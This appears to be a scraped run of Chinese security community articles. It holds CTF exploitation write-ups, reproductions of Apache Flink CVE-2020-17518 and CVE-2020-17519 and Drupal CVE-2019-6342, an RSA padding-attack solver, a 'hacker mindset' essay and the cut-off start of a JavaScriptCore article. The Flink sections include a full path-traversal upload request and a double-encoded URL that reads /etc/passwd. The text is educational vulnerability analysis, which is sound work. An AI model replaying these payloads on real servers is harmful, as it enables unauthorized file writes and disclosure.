已知程序段地址和got表的偏移量，计算出got表的地址。将scanf的got地址写入arrary[1]，将该数组的位置写入arrary[0]。后续步骤原理和3-5相同，可通过查看arrary[0]的内容将got表内数据地址打印出来，由此泄漏出libc地址。
（7） 泄漏出libc地址后，利用__environ变量泄漏出栈地址，原理和6 相同。
（8）
已知栈地址，利用数据对象的写函数，实现对栈地址的写入，将main函数的返回值写入one_gadget，并将返回值以下0xf0的栈区清空，调用环境满足one_gadgets的条件。
（9） 直接选择选项4，退出，获取shell。
图1、代码图
图二、获取flag
## Babymmic
下载源代码，发两现有是两个功能相同的代码，一个是32位版，一个是64位版，用IDA分别分析，发现两个版本均为静态编译，存在栈溢出，32位溢出点为0x110,64位为0x118，刚好相差8个字节。
使用ROPgat针对某一版本作出payload，本地调试通过后远程测试，存在sha256计算验证，加上验证脚后，发现无法到获取shell。分析原因，认为payload需同时满足32位与64位攻击成功的条件才能成功。
如满足上述条件，根据32位与64位溢出点不同，payload需构造成
0x110 pad
0x4 32位ret n
0x4 32位payload 返回地址
0x8 64位 ret
n byte 64位 payload
….. 32位 payload
即可保证同一payload在32下与64位下都可成功。再次ROPgat一下获得合适的n值,
修改payload远程测试成功，cat flag文件，获得加密flag，再使用decode.py解密得到flag，加上flag{}提交成功
1\. 强网先锋ap
拿到原代吗，测试用gdb运行一下，在heap chunks，发现有趣的结果：
使用ida分析，发现change（）函数中可以在堆中溢出。
可以使change溢出泄露libc地址，再用change覆盖堆中的puts地址为system地址即可拿到shell。编写payload成功拿到shell，cat
flag即获得flag
Justre：
IDA分析程序，发现程序经过了2个函数的判断，返回都为1时输出flag
第一个函数读取输入的前10位，前8位和后2位分别转化成两个数字，并与405018地址的内容进行运算，最后判断运算后的值与404148地址的内容是否相等，判断96个字节。如果相等，则将405018开始的96个字节写入4018A0地址（这是第二个判断函数的首地址），也就是说，必须第一个函数通过以后，才能得到第二个函数正确的内容。
接下来分析运算过程，可以从低字节开始爆破，判断是否符合条件
最后确定前10个字符为1324228811
接下来分析第二个函数，用peid分析是一个des加密，然后看到密钥为24个字符，因此应该是3des加密，于是编写脚本进行解密：
把两部分拼起来就是flag：13242288110dcc509a6f75849b | 社区文章 |
**作者： Veraxy@QAX CERT
原文链接：<https://www.freebuf.com/vuls/260184.html>**
**Apache Flink** 是由Apache软件基金会开发的开源流处理框架，其核心是用Java和Scala编写的分布式流数据流引擎。
# 0x01 环境搭建
个人喜欢手动搭建环境，已有相关漏洞环境的盆友可越过这节，直接看漏洞部分。
1. **JDK装好**
2. **安装Flink**
安装包地址：<https://archive.apache.org/dist/flink/flink-1.11.2/>
为同时满足两个漏洞环境，这里安装1.11.2版本
解压缩
# tar -zxvf flink-1.11.2-bin-scala_2.11.tgz
修改配置文件conf/flink-conf.yaml中jobmanager.rpc.address参数为本地服务器IP地址
# vim conf/flink-conf.yaml
jobmanager.rpc.address: 192.168.18.169
并添加远程调试参数：
# vim conf/flink-conf.yaml
# jobmanager debug端口
env.java.opts.jobmanager: "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5006"
# taskmanager debug端口
env.java.opts.taskmanager: "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005"
3. **启动Flink服务**
# cd bin
# ./start-cluster.sh
看看开放了哪些端口：5005、5006是配置的debug端口，8081是webUI访问端口，6123是JobMamanger进行RPC通信的端口
访问服务
**停止Flink服务：**
flink启动会把启动的进程的ID存到一个文件中，相关配置在bin/config.sh文件中，默认是“/tmp”，由于是临时目录，会被系统清理，存放的进程ID就找不到了，也就没法关闭集群了。
**直接执行关闭指令，会发现关闭不了**
# cd bin
# ./stop-cluster.sh?
**怎么做？**
新建一个目录 /usr/local/flink-1.11.2/tmp 来存放启动的进程的ID
修改bin/config.sh文件，为 **DEFAULT_ENV_PID_DIR** 指定为新建的路径
DEFAULT_ENV_PID_DIR="/usr/local/flink-1.11.2/tmp"?
重新执行关闭指令：
# ./stop-cluster.sh?
# 0x02 远程调试
上文远程Flink服务的配置文件 **flink-conf.yaml** 中已经配好了远程调试参数，开启了5005、5006调试端口。
本地IDEA打开该版本源码：
<https://github.com/apache/flink/releases/tag/release-1.11.2>
创建Remote配置，指定Host和Port，这里调试jobmanager，选择对应的端口
开启远程调试
# 0x03 CVE-2020-17518
Flink 在 1.5.1 版本中引入了一个 REST handler，这允许攻击者将已上传的文件写入本地任意位置的文件中，并且可通过一个恶意修改的
HTTP 头将这些文件写入到?Flink 1.5.1 可以访问的任意位置。
**影响范围：** 1.5.1 <= Apache Flink? <= 1.11.2
**参考链接：**
* <https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261%40%3Cdev.flink.apache.org%3E>
* <https://github.com/apache/flink/commit/a5264a6f41524afe8ceadf1d8ddc8c80f323ebc4>
## **快速复现**
1. **利用一：文件上传**
编辑请求数据包，上传 /tmp/veraxy 文件
POST /jars/upload HTTP/1.1
Host: 192.168.18.169:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13247690941547071692111317477
Content-Length: 248
Origin: http://192.168.18.169:8081
Connection: close
Referer: http://192.168.18.169:8081/
-----------------------------13247690941547071692111317477
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/veraxy"
Content-Type: text/plain
Veraxy!!!
-----------------------------13247690941547071692111317477--
2. **利用二：文件** **覆盖**
若上传路径已有文件，将覆盖其内容。
## 漏洞分析
查看该漏洞相关[邮件](https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261%40%3Cdev.flink.apache.org%3E)，已经指出commit地址
移步[commit](https://github.com/apache/flink/commit/a5264a6f41524afe8ceadf1d8ddc8c80f323ebc4)，上传功能的校验问题，并指出有两个测试案例
测试代码再次给出提示，修改文件名添加 **../**
找到系统的上传功能
传个测试文件，是/jars/upload接口
[官方文档](https://ci.apache.org/projects/flink/flink-docs-release-1.11/monitoring/rest_api.html)对该接口的使用说明
在处理上传路径的地方打断点
获取filename
resolve()解析方法接收filename，与系统路径拼接
dest存储拼接后上传路径，传给 fileUpload.renameTo()方法
上传文件，并重命名保存至另一个路径以做缓存
缓存文件存在时间很短，只有30s
此时系统按目标路径写入文件
## **补丁分析**
对上传路径做了处理
org.apache.flink.runtime.rest.FileUploadHandler#channelRead0()
对传入的filename进行截断，只取末尾的文件名，传递的../ 和目录名均被忽略
resolve()方法接收到的文件名只有结尾部分，与系统路径拼接后返回
赋值给dest路径变量，执行重命名缓存行为并上传文件
# 0x04 CVE-2020-17519
Apache Flink
1.11.0中引入的更改（包括1.11.1和1.11.2）允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。
**影响范围：** Apache Flink 1.11.0、1.11.1、1.11.2
**参考链接：**
* <https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d%40%3Cdev.flink.apache.org%3E>
* <https://github.com/apache/flink/commit/b561010b0ee741543c3953306037f00d7a9f0801>
## **快速复现**
遍历文件/etc/passwd：
http://192.168.18.171:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
## 漏洞分析
查看该漏洞相关[邮件](https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d%40%3Cdev.flink.apache.org%3E)，同样指出commit地址
移步[commit](https://github.com/apache/flink/commit/b561010b0ee741543c3953306037f00d7a9f0801)，细节描述的很清晰了，指出通过二次编码后的
'..%252f' 来替换 '../' 可以遍历logs文件夹的目录结构，比如："/jobmanager/logs/..%252f/README.txt"
将返回README.txt的内容
文档找一下 **/jobmanager/logs** 接口说明
发送请求
http://192.168.18.169:8081/jobmanager/logs/..%252f..%252f..%252f..%252fetc%252fpasswd
系统接收请求，对request进行解析，初始化HandlerRequest对象
routedRequest.getRouteResult()获取result，decodedPath为一次解码后，pathParams存放二次解码后结果
将HandlerRequest传递给org.apache.flink.runtime.rest.handler.cluster.JobManagerCustomLogHandler#getFile，获取pathParams中存放的filename，拼接logDir返回路径。
读取文件内容作为响应。
## 不懂就问
**routedRequest.getRouteResult()获取的result是如何初始化的？包括其中的解码流程。**
回溯到org.apache.flink.runtime.rest.handler.router.RouterHandler#channelRead0()，这里routeResult为后面routedRequest中this.result原型，看routeResult如何初始化
url一次解码的地方，赋值给this.path返回
将method、path、queryParameters传送给router.route()方法来初始化一个routeResult对象
其中decodePathTokens(path)将path进行了二次解码，与此同时会判断路径中的“/”并截断，我们传入“/”的编码形式免于拦截，随后的for循环中再次进行解码，成功返回一个正常路径。
## 补丁分析
跟17518修复方式一致，通过File.getName()只取默认文件名
org.apache.flink.runtime.rest.handler.cluster.JobManagerCustomLogHandler#getFile方法，
路径中的../和目录名都被忽略，filename只剩下了文件名
# 总结
Apache Flink 服务大多开放在内网，漏洞影响面不算太大，但大数据时代随着该应用的使用量日益增多，其漏洞还是值得重视的。
* * * | 社区文章 |
# 黑客思维养成记 ——黑客的“小鸡”
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：閦蠱[@Duncan](https://github.com/Duncan "@Duncan") SecTeam
## 0x.00、引言
为了给Duncan
SecTeam做一些技术分享，思前想后，我觉得有必要利用假期先分享一些思维方式方面的东西，因此才想写一些关于“黑客思维”方面的文章，于是有了这篇探索性的文章。本文纯属个人经验之谈，尚不成熟，见笑了。
其实，第一次听说“黑客思维”（hacker’s
mindset）这个词，是源自TedEx上的一个美国小黑客分享的演讲。透过这些年经历的各种事情，自己关于这个词的思考更为深入，也有了一些自己的看法，然而苦于没有一个好的案例（既能体现思维，又能让初学者体会深刻）。最近，恰逢网络安全教学工作要求，自己又开始琢么着找个好的切入点，把“黑客思维”这个东西说得直白一些，贴切一些，不能向像哲学那么艰涩，但必须包含思维层面的抽象和方法论。经过一段时间的素材搜集和酝酿，自己对“黑客思维”的引入有了些信心，并且希望在Duncan
SecTeam的培训中尝试着逐步总结和升华。鉴于自己时间并不充裕，而且自己有很多有意思的点子需要实验验证，因此“黑客思维”培训这个系列文章大概率只能断断续续的延续下去，反正有感而发吧。
## 0x.01、关于黑客的“小鸡”
因为一直在做IoT和Android设备安全性研究，所以自己一直混迹于某宝和咸鱼这个小圈子，目前已经练就了一双火眼金睛，能快速识别专注7天机和洋垃圾翻新的二道贩子。当然，这一切还是N次跳坑和出坑之后总结的经验。某天，发现xx宝上面有些减压游戏，反正刷机和重装系统等得也够烦的，于是就开始了一发不可收拾的养鸡生活。因此，我这里所说的黑客的“小鸡”也就是xx宝里那个一丝不挂的小鸡（过年了，穿的稍微喜庆了一点）。
或许，大家会觉得很搞笑！这“小鸡”除了一丝不挂，一毛不拔之外，还能有啥呢？那么，我就先抛出一些问题，算是博一下诸位的眼球吧：
——1.在一分不出的情况下，一只小鸡一天最多可以获得多少饲料？
——2.小鸡要获得最多饲料的情况下，你所需付出的最小代价是什么？
——3.一只小鸡通过走路的方式一天最多可以获得多少运动币？
——4.一只小鸡获得最多运动币的情况下，你最少要走多少步？
如果你能就以上问题给出很酷的答案，那么恭喜你，你有着与众不同的“黑客思维”！
## 0x.02、“小鸡”，饲料与走路
xx宝的每一只小鸡都隶属于某一个xx宝账号，每一个小鸡都有一个对应的饲料筐，根据小鸡的级别，饲料筐的容量会逐渐增大，直到最大值1800克（已经验证过）。小鸡获得饲料的方法有许多，比如去做一些看似无聊，有时却能让你会心一笑的“课堂”练习，逛一逛“橱窗”等等。
当然，乍一看，我说的这些跟电视上，银幕上酷酷的“黑客”貌似没有一点关系。那好，我就接着说小鸡吧。这个小鸡游戏，如果抛开娱乐的东西来看，它本质上就是一个受限计算平台，跟一个路由器，AP在本质上没有多大的区别，只不过它的输入就是你与小鸡的互动，包括领饲料，喂鸡，收鸡蛋，走走路，慈善捐赠等等。好了，我们再来看看各种“黑客”所做过的那些很酷的事情。1970
年，一个叫做 John Draper 的退伍空军电子技术员，发现Cap’n Crunch早餐麦片附赠的玩具口哨发出的 2600
赫兹声波和电话交换机的频率相同，这意味着可以通过口哨来欺电话系统，让系统误以为通话停止而中断计费，从而达到免费打电话的目的。好了，你们是不是觉得xx宝小鸡和Cap’n
Crunch麦片中的口哨有一些共同之处了呢？
既然，我们已经剥离了小鸡自身的娱乐属性，那么我们就来看看，怎样才能做到不花一分钱就获得最多的饲料。作为一位xx宝资深的小鸡游戏玩家，我找到了以下方法：
——“领饲料”
——“运动会”
——好友的捐赠：好友代为养鸡，送小麦等
——xx宝各种节假日的口粮，汤圆，柿饼，节日专供鸡饲料
在不考虑特殊节假日及好友捐赠的情况下，小鸡每天能够获取鸡饲料的途径与饲料重量如下：
——逛“小鸡橱窗”：180g
——“小鸡课堂”：30g | 180g
——“运动会”：
—>“星星球”：0g | 60g | 120g | 180g
—>“登山赛” ：0g | 60g | 120g | 180g
因此，在不花一分钱的情况下，你的小鸡每天最多可以获得720g饲料。
当然，你可以通过慈善捐款（至少0.01元），额外获得180g饲料；通过向“余额宝”发起一次转款（至少0.01元），你可以再获得180g饲料；如果，你刚好需要点个外卖或则点个下午茶，你又可以额外获得180g饲料；当然，你在实体店支付一笔钱，你还可以获得180g饲料。这样算下来，当你付出一个外卖点单+一次0.01元起的慈善捐款+一次实体店付款+一次线上支付，你每天可以累积获得1440g饲料，当然前面的条件是你需要为此付出的最小代价。
仔细琢磨一下，这与Cap’n
Crunch口哨之间貌似还是有些关联的。对于电讯产业初期以及互联网初期的黑客，我个人是很推崇的，他们的技术更多是直接来源于Cap’n
Crunch麦片这样的生活点滴，没有过多地（甚至可以说，几乎完全没有）商业或者利益的掺杂，没有黑产和灰产，没有网络暴力和犯罪，一切都是纯粹的技术。当然，技术并非是惟一的，还有就是这些黑客技术背后基于兴趣的不断尝试，探索，总结和改进，推动技术不断向前发展。
## 0x.03、“小鸡”与运动币
前面一个案例，我们明白了xx宝小鸡的本质就是一个受限计算平台，也就是说只能通过特定的受限操作与小鸡互动，从而使游戏产生有利于自己或者几乎受控于自己的结果。接下来，这个案例则是一个高阶版的，更能体现黑客思维的案例——小鸡走路。
玩这个游戏的初衷其实很简单，我觉得让全国各地贫困地区的小朋友拥有一个塑胶足球场很酷（想想国家男足这些年的表现，我觉得这游戏简直酷毙了）。一开始，我觉得每天捐步一次，就可以获得一个随机的奖励值，一般是0-3个运动币（不知道是不是基于xx宝区块链来实现的）。那么，为什么会是0呢？其实，这个0值并不准确，因为0代表的是一个“变身卡”奖励，可以将小鸡的头像更改为仙人掌，洋葱头等等（特别丑的形象）。那么，在总结到这个规律后，我们可就不满足了，毕竟黑客都是“贪婪”的，黑客都是“懒惰”的，我们希望用更有创造力的方法去解决哪怕是同一个问题。
那么，我们能不能多戳几次小鸡，让它每天多跑几趟呢？答案是肯定的，只要你愿意走路，小鸡就可以反复跑。于是，我尝试在一天不同时候去走路，得出的结论是：每一次走路，得到的奖励基本上都是与前面的规则吻合的，只是偶尔会在晚上的时候，出现一些金色的奖牌。
那么，为什么会有这些奖牌呢？为什么晚上才会有这些奖牌呢？这些奖牌的奖励额度是按照什么规则设置的呢？那么，我们需要设计一系列的测试，并且做好相应的记录，这样能够在不购买测试设备的情况下就完成这些实验。
在每天晚上，我会有意识的打开小鸡走路，观察时间，当天走路的总步数以及当前可以走的步数，注意这三个就是在小鸡走路这个受限计算平台上的输入变量。通过多次实验，我发现奖励与具体的时间点没有直接联系，能够开启奖牌奖励的关键变量是当前累积走路的步数，确切的说，当天累积不行总数超过1万步以后，每次走路都能触发奖牌奖励。由于奖牌奖励的临界值是1万，因此这会让人产生一种错觉，只有在晚上的时候才会触发奖励机制。毕竟，大多数用户很难在早上或者傍晚之前走到1万步。其实，这就是黑客思维的一种体现，观察到一个有趣的现象，思考可能的原因，设计一系列的实验，完成验证实验，分析并找出原因。
在得到1万步这个奖励临界值之后，我们可以做进一步的实验，比如每天最多能领到几次奖牌？每次至少做多少步才能触发奖牌奖励机制？每一次的奖牌奖励的运动币大概在哪个范围？这里，我就不细说了，有些乐趣是需要大家躬身实践才能得到满足的，晒几张图，算是抛砖引玉吧。
这里，可以插入一个关于庞帝雅克汽车和“香草冰淇淋”的故事。一天，一个客户写信给美国通用汽车公司的庞帝雅克部门，抱怨道：他家习惯每天在饭后吃冰淇淋。最近买了一部新的庞帝雅克后，每次只要他买的冰淇淋是香草口味，从店里出来车子就发动不着。但如果买的是其它口味，车子发动就很顺利。庞帝雅克派一位工程师去查看究竟，发现确是这样。这位工程师当然不相信这辆车子对香草过敏。他经过深入了解后得出结论，这位车主买香草冰淇淋所花的时间比其它口味的要少。原来，香草冰淇淋最畅销，为便利顾客选购，店家就将香草口味的特别分开陈列在单独的冰柜，并将冰柜放置在店的前端；而将其它口味的冰淇淋放置在离收银台较远的地方。在一番调查之后发现，庞帝雅克汽车的确对冰淇淋的口味不敏感，问题是出在“蒸汽锁”上。当这位车主买其它口味时，由于时间较长，引擎有足够的时间散热，重新发动时就没有太大的问题。由于买香草冰淇淋花的时间更短，引擎还无法让“蒸汽锁”有足够的时间散热。仔细想想，要找个Bug还挺难的，不喜欢香草口味的冰淇淋能找到这么奇葩的bug吗，没有庞帝雅克汽车能找到这不够吗，更别说那种百万美元级的“大洞”了。其实，IoT安全和智能终端设备安全的确面临这种很实际的问题，需要有一定的“实力”才能进行相关的研究，这一点很像互联网初期的黑客(
**如有大厂的朋友关注文章的话，希望可以捐赠我们一些工程机（新机当然更好啦）用来研究，我们一定投桃报李** )。
言归正传，既然我们知道了，当天累积步数超过1万步时，可以触发系统奖励机制。那么，回过头来想想，一定要在每天的不同时段才能让小鸡走路吗？小鸡走路的限制是不是也受制于每次可走步数的多少呢？每次走路只要达到了最低可走步数就能得到运动币吗？如果不是的话，每次至少走多少步才能保证获得运动币呢？
那么，我们又可以来设计一系列的实验，比如100步走一次，200步走一次，300步走一次，400步走一次，500步走一次等等。当然，也可以通过有名的二分法，快速收敛，找到每次走得获得运动币所需走得最少步数。乘着过年，大家可以出门走动走动，一方面，可以验证我得到的结论是否正确，小鸡走路的时候是否还有其它的隐藏关口等等；另一方面，过年期间，蛋白质和脂肪摄入量相对于平时大大增加，多走路，有助于消化，保持身心健康。
我比较懒，采用的是间歇性“2分法”（很难在一天内坚持做完这个实验）。我发现，1000步以上必然可以得到0~3个运动币；当单次可走步数在[500，1000)这个区间时，同样可以获得0~3个运动币；当单次可走步数在[100,
500)时，不会有任何运动币奖励，哪怕是“变身卡”。由于我采用的是“间歇性2分法”，我的确节约了一些时间，但是也因此付出了更多的时间，因为必须在500步这个临界值上进行多次实验。
接下来，我们再来看看前面的问题。一天之内，黑客的小鸡最多能够获得多少运动币呢？
按照下面这个思维导图，我们可以推算出，运气糟透了和运气爆棚的时候，小鸡可以单日可以获得的最多运动币分别为：0个运动币和57个运动币。
同样，要想在单日内获得最多的运动币，你至少需要走完11500步。
当然，有些情况我并没有考虑在内的，比如：
——某一次走路时，刚好完成了某一条走路的线路，这时会获得线路奖励的运动币和变身卡。
——在测试过程中，我发现当日累积步数在9800步左右时，如果下次走路能够突破1万步，那么系统会给予单次步数奖励和奖牌奖励。在这种临界条件下，此次获得的奖牌奖励是否会计算在单日3次奖牌奖励中，还没能完全证明。
## 0x.04、“小鸡”与“黑客思维”
黑客的“小鸡”应该算是一个不错的引子，希望通过这个例子以一种另类的方式与大家分享“黑客思维”。在我看来，“黑客思维”应该有这么几个特征（见笑了）：
——保持对技术的兴趣和敏锐，总是能发现生活中那些有趣的技术问题。
——善于总结经验，但却不完全依赖于经验，敢于说“不”，善于从非常规的角度看待问题，或许这与安全圈很多大佬所谓的“发散思维”有些相似吧。
——拥有理性的思维，保持理性思考的习惯，这能使得你更快的解决问题，看到问题背后隐藏的本质。
——敢于突破，能够打破“受限计算平台”的各种限制和束缚，最大化利用你所想要pwn的平台。 | 社区文章 |
最近想做一个对于多站点的网站漏洞扫描器（上万规模），因为不知道如何选择后端的扫描引擎而走了不少弯路，用Google搜索扫描器出来的结果差不多都是四五年前的...
直接上网站 ---> <http://sectoolmarket.com/>
这个网站横向对比了现在市场上的各种扫描工具，包括收费的和开源的，以下是部分内容：
1. 探测技术的支持情况
1. 扫描器的价格排行
1. 爬虫引擎的爬取率
看完之后，感觉通用扫描器的蛋糕已经快瓜分玩了....
基于流量检测（被动扫描）和基于CMS识别的扫描才是未来的趋势。
另外：有用过长矛这类国产扫描器的同学能讲讲使用感受吗？ | 社区文章 |
### 0x01 概述
7月17日，Drupal官方发布Drupal核心安全更新公告，修复了一个访问绕过漏洞，攻击者可以在未授权的情况下发布/修改/删除文章，CVE编号`CVE-2019-6342`
公告地址：<https://www.drupal.org/sa-core-2019-008>
### 0x02 受影响的版本
* Drupal Version == 8.7.4
### 0x03 漏洞复现
安装`Drupal 8.7.4`版本，登录管理员账户，进入后台`/admin/modules`，勾选`Workspaces`模块并安装
在页面上方出现如下页面则安装成功，管理员可以切换`Stage`模式或者`Live`模式
另外开启一个浏览器访问首页（未登录任何账户），访问<http://127.0.0.1/drupal-8.7.4/node/add/article>
可直接添加文章，无需作者或管理员权限。
受影响操作包括基本文章操作（添加、修改、删除、上传附件等）
### 0x04 漏洞分析
#### Workspaces的功能
`Workspaces`是`Drupal 8.6`核心新增的实验模块，主要功能是方便管理员一次性发布/修改多个内容。
`Workspaces`有两种模式，分别为`Stage`模式和`Live`模式，，默认为`Live`模式，两者的区别在于：
* `Stage`模式下修改内容不会及时更新，所有文章修改完毕后管理员可以通过`Deploy to Live`发布到实际环境，相当于一个暂存区；
* `Live`下更新是即时的，发布后站点内容立即更新。
在这两种模式下，由于编码失误导致存在一个缺陷：匿名用户无需登录即可创建/发布/修改/删除文章，问题点出现在权限鉴定模块`EntityAccess`下。
#### 漏洞分析
当用户发起请求时，会根据当前操作回调相关权限检查模块对当前用户权限进行检查，请求调用为事件监听器(`EventListener`)的`RouterListener`类，在其`onKernelRequest()`方法中调用`AccessAwareRouter`类的`matchRequest()`方法，随后调用`AccessManager->checkRequest()`方法，最后在`AccessManager->performCheck()`方法中通过`call_user_func_array`回调对应的操作进入到具体的操作权限检查
例如发布文章时回调的是`access_check.node.add`，相关方法在`NodeAccessControlHandler`控制器中定义，这个控制器继承自`EntityAccessControlHandler`，在父类的`createAccess()`方法中回调对应操作的`create_access`权限，过程中会拼接上模块名和相应钩子作为回调函数，
`$function = module . '_' . $hook;`
例如此处回调的是`workspaces_entity_create_access()`方法，进入到Workspaces中。
在调用`entityCreateAccess()`方法时有一个关键操作`bypassAccessResult`
`bypassAccessResult()`方法是一个检查用户是否有`"绕过节点访问权限(bypass node
access)"`的操作，是Workspaces中特有的，这个方法决定了"如果用户在各自的激活的工作区中，那么他将拥有所有权限"，这里的所有权限指文章相关的增删改操作。
这个权限虽然奇怪但确实是一个设计好的功能，正常操作应该在后台`admin/people/permissions`中配置好用户是否拥有这个权限，默认情况下匿名用户和认证用户都没有权限
当开启了`Bypass content entity access in own
workspace`权限后用户才可以在未登录的情况下发布/删除文章，而此次漏洞就绕过了这个配置，默认情况下进行了越权操作。
具体分析一下`bypassAccessResult()`的实现，整个过程返回的是`AccessResultAllowed`对象或者`AccessResultNeutral`对象，所谓"中立"是因为后续还可能会对结果再做判断，但在这个漏洞中其实就是`access`和`forbidden`的区别：
首先获取了当前激活的工作区，然后通过`allowedIf`判断当前用户是否有权限，随后这些数据存入缓存，包括缓存内容、缓存标签和过期时间。然后再经过一次`allowedIfHasPermission`判断，这个方法的作用是，如果权限不对就设置一个`reason`，在这个漏洞中没有起到作用，到目前为止权限校验都是正常的，在没有配置后台工作区匿名权限的时候，返回的是一个`AccessResultNeutral`对象，也就是"禁止"。
接下来就是出现问题的地方
`$owner_has_access->orIf(access_bypass);`
通过补丁可以发现漏洞就修补了这行语句，把`orIf`换成了`andIf`
这两个方法的设计逻辑比较复杂，最主要的功能是对一个如果返回为"中立"的结果做后续判断，如果采用orIf方法合并，那么是否允许由调用者决定；如果以andIf方法合并，则被当做禁止。
具体到此次漏洞上的区别如下方图片所示：
* `orIf()`
返回的是`AccessResultAllowed`对象
* `andIf()`
返回的是`AccessResultNeutral`对象
在检查完毕后会回到`AccessAwareRouter->checkAccess()`方法，在该方法中对返回结果进行了判断，`AccessResultNeutral`的`isAllowed()`返回`false`，因此会抛出异常
返回到页面上则是`Access denied`
更新补丁后只有在开启后台匿名用户权限后才能进行文章操作，该选项默认不开启。
相关调用栈为
Drupal\workspaces\EntityAccess->bypassAccessResult()
Drupal\workspaces\EntityAccess->entityCreateAccess()
...
Drupal\Core\Extension\ModuleHandler->invokeAll()
Drupal\node\NodeAccessControlHandler->createAccess()
Drupal\node\Access\NodeAddAccessCheck->access()
Drupal\Core\Access\AccessManager->performCheck()
Drupal\Core\Routing\AccessAwareRouter->checkAccess()
Drupal\Core\Routing\AccessAwareRouter->matchRequest()
Symfony\Component\HttpKernel\EventListener\RouterListener->onKernelRequest()
...
DrupalKernel.php:693, Drupal\Core\DrupalKernel->handle()
index.php:19, {main}()
### 0x05 总结
此次漏洞出现在设计过程的一个疏忽，在默认没有分配权限的情况下用户可以绕过权限检查进行发布/删除/修改文章操作，但由于该漏洞仅影响Drupal
8.7.4版本，并且需要开启`Workspaces`模块，这又是一个实验功能，默认不启用，因此漏洞影响减弱了不少，用户可以升级`Drupal`版本或者关闭`Workspaces`模块以消除漏洞影响。 | 社区文章 |
# 浅析RSA Padding Attack
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
近日在复盘一些Crypto的题目，做到了N1CTF的一道rsapadding，进行了一些拓展，于是进行了一些分析记录，有了这篇文章
## 题目分析
题目已开源在
https://github.com/Nu1LCTF/n1ctf-2018/tree/master/source/crypto/rsapadding
主要代码为
m = '*****************'
n = 21727106551797231400330796721401157037131178503238742210927927256416073956351568958100038047053002307191569558524956627892618119799679572039939819410371609015002302388267502253326720505214690802942662248282638776986759094777991439524946955458393011802700815763494042802326575866088840712980094975335414387283865492939790773300256234946983831571957038601270911425008907130353723909371646714722730577923843205527739734035515152341673364211058969041089741946974118237091455770042750971424415176552479618605177552145594339271192853653120859740022742221562438237923294609436512995857399568803043924319953346241964071252941
e = 3
welcom()
if cmd():
f = open("/root/crypto/file.py")
print(f.read())
return
mm = bytes_to_long(m)
assert pow(mm, e) != pow(mm, e, n)
sys.stdout.write("Please give me a padding: ")
padding = input().strip()
padding = int(sha256(padding.encode()).hexdigest(),16)
c = pow(mm+padding, e, n)
print("Your Ciphertext is: %s"%c)
意思很简单
1.pow(mm, e) != pow(mm, e, n)
2.输入一个值
3.将输入的值sha256，记做padding
4.利用rsa加密m+padding
值得注意的是，e=3，padding可控
那么我们拥有的条件只有
n,e,c,padding
所以这里的攻击肯定是要从可控的padding入手了
## 初步推导
我们可以随便构造一对已知padding的密文，得到
此时，我们可以设
利用这两个式子，我们可以得到如下线性关系
即方程形式为
其中
即
我们有
我们知道
那么将其带入得到
我们将c1展开得到
我们将这个式子带入得到
于是便一筹莫展
## 可求证明
上述的推导我们漏了一个非常重要的信息
那么不难发现
同理，我们还可以构造方程
如此一来，我们可以得到
是下列方程组的一个解
那么一定可以有
可以被写成
如此一来，只要
我们由e=3可以得知
只有唯一解，所以k1和k2必互素，所以这里是M2一定是可求的
## Related Message Attack
前面做了这么多证明铺垫，最后当然要祭出大招，即求解方法
这里的攻击是有方法名称的，即Related Message Attack
在e=3的情况下，我们可以利用rsa padding得到明文
根据之前第一步的推导，我们得到了
我们将式子变形为
移项得到
根据立方差公式，我们又有
联立
我们将式子1左右同乘`aM2-b`，将式子2左右同乘`3b`
然后即可得到如下式子
我们再把c2带入得到
则最后可以有
即可求得M2
而我们知道
所以最后有
注意，这里的分式不是除法，是逆元
## payload
既然推导出了公式，写脚本即可
def getM2(a,b,c1,c2,n):
a3 = pow(a,3,n)
b3 = pow(b,3,n)
first = c1-a3*c2+2*b3
first = first % n
second = 3*b*(a3*c2-b3)
second = second % n
third = second*gmpy2.invert(first,n)
third = third % n
fourth = (third+b)*gmpy2.invert(a,n)
return fourth % n
m = getM2(a,b,c1,c2,n)-padding2
print libnum.n2s(m)
## Coppersmith’s short-pad attack
上述情况是e=3时候，我们可以根据
推导出m
那么当e不是3的时候怎么办呢？
这里稍作拓展，我们可以用Coppersmith’s short-pad attack，即padding过短引起的攻击
脚本如下
https://github.com/ValarDragon/CTF-Crypto/blob/master/RSA/FranklinReiter.sage
## 后记
根据这一次学习，不难发现在存在padding的情况下，rsa也存在各种风险：
1.若e=3，则可以利用Related Message Attack
2.若e不为3，但padding过短，则可以利用Coppersmith’s short-pad attack | 社区文章 |
# 深入理解JSObject内部实现
##### 译文声明
本文是翻译文章，文章原作者 liveoverflow，文章来源：liveoverflow.com
原文地址：<https://liveoverflow.com/setup-and-debug-javascriptcore-webkit-browser-0x01/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在本文中，我们来分析JavaScript在内存中的基本结构，同时了解一下其中涉及到的butterfly（蝶式）结构。
我们可以通过内存中的`JSObject`结构来了解`JavaScriptCore`内部实现。之前saelo已经在[phrack](http://phrack.org/papers/attacking_javascript_engines.html)的一篇文章中讨论过这方面内容，但我希望能利用[上篇文章](https://liveoverflow.com/setup-and-debug-javascriptcore-webkit-browser-0x01/)中介绍的调试器技术来分析这些知识点。在上篇文章中，我们快速过了一遍`[1, 2, 3,
